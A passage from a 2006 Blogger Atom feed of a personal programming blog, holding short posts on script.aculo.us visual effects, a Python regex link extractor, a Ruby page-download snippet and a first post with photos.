href='http://www.blogger.com/feeds/34015684/posts/default/115855483065047882'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2006/09/svn-automatic-login-under-windows.html' title='SVN Automatic login under windows: Putty &amp; TortoiseSVN'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-115834099925240931</id><published>2006-09-15T10:19:00.000-07:00</published><updated>2006-09-15T11:25:16.570-07:00</updated><title type='text'>script.aculo.us</title><content type='html'>&lt;a href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fjaviergodinez.blogspot.com%2F2006%2F09%2Fscriptaculous.html&amp;title=script.aculo.us&amp;bodytext=Did%20you%20know%20that%20the%20Web2.0%20(cough,%20buzz%20word)%20is%20here?%20Sure,%20and%20it's%20even%20more%20tangible%20with%20script.aculo.us,%20there%20just%20nothing%20better%20around.&amp;topic=programming"&gt;&lt;img src="http://digg.com/img/badges/180x35-digg-button.gif" width="180" height="35" alt="Digg!" /&gt;&lt;/a&gt;&lt;br /&gt;Did you know that the Web2.0 (cough, buzz word) is here? Sure, and it's even more tangible with &lt;a href="http://script.aculo.us/"&gt;script.aculo.us&lt;/a&gt;, there just nothing better around. I recently impressed everyone at work by integrating script.aculo.us into our Java/Struts (I know) application and gave it some awesome eye candy. Here's a quick couple of examples!&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;a href="#" onclick="Effect.Appear('hello'); return false;"&gt;Click here to see some magic!&lt;/a&gt;&lt;br /&gt;&lt;div id="hello" style="float:left;display:none"&gt;&lt;br /&gt;This is my rifle. There are many like it, but this one is MINE. My rifle is my best friend. It is my life. I must master it as I must master my life. My rifle without me is useless. Without my rifle, I am useless. I must fire my rifle true. I must shoot straighter than my enemy who is trying to kill me... and so continues the brainwash!&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="float:left;width:200px;height:200px;background-color:#888;" onclick="Effect.Puff(this)"&gt;&lt;br /&gt;    Click on this square&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-115834099925240931?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/115834099925240931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2006/09/scriptaculous.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/115834099925240931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/115834099925240931'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2006/09/scriptaculous.html' title='script.aculo.us'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-115801567713186872</id><published>2006-09-11T15:57:00.000-07:00</published><updated>2006-09-11T18:39:53.050-07:00</updated><title type='text'>1st Dive into Python</title><content type='html'>Getting the links out of an html document using python's built in regular expressions:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;from urllib import urlopen&lt;br /&gt;import re&lt;br /&gt;&lt;br /&gt;def links(url):&lt;br /&gt;    socket = urlopen(url)&lt;br /&gt;    html = re.sub('\n', '', socket.read())&lt;br /&gt;    socket.close()&lt;br /&gt;    return re.findall('&lt; a href="(.*?)"&gt;.*?&lt; /a&gt;', html, re.IGNORECASE)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The regular expression might not show up as intended!&lt;br /&gt;Remove the space between the less/greater-than sign and the a.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-115801567713186872?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/115801567713186872/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2006/09/1st-dive-into-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/115801567713186872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/115801567713186872'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2006/09/1st-dive-into-python.html' title='1st Dive into Python'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-115764312736937605</id><published>2006-09-07T08:30:00.000-07:00</published><updated>2006-09-07T08:32:07.376-07:00</updated><title type='text'>1st Dive into Ruby</title><content type='html'>&lt;blockquote&gt;&lt;/blockquote&gt;So here's a bit of code that demonstrates how to download a web page:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;require 'net/http'&lt;br /&gt;require 'html-parser'&lt;br /&gt;&lt;br /&gt;url = URI.parse('http://www.sdsu.edu/')&lt;br /&gt;req = Net::HTTP::Get.new(url.path)&lt;br /&gt;res = Net::HTTP.start(url.host, url.port) {|http|http.request(req)}&lt;br /&gt;&lt;br /&gt;puts   res.body &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Any suggestions on how to get just the links or any tag in particular?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-115764312736937605?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/115764312736937605/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2006/09/1st-dive-into-ruby.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/115764312736937605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/115764312736937605'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2006/09/1st-dive-into-ruby.html' title='1st Dive into Ruby'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-115764128324350693</id><published>2006-09-07T07:52:00.000-07:00</published><updated>2006-09-07T11:01:09.780-07:00</updated><title type='text'>First post, w00t!</title><content type='html'>&lt;div style="text-align: center;"&gt;Mammoth&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/1914/3742/1600/javier.2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/1914/3742/320/javier.0.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Me&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/1914/3742/400/javier.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/1914/3742/1600/javier.0.png"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-115764128324350693?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/115764128324350693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2006/09/first-post-w00t.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/115764128324350693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/115764128324350693'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2006/09/first-post-w00t.html' title='First post, w00t!'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>1</thr:total></entry></feed>
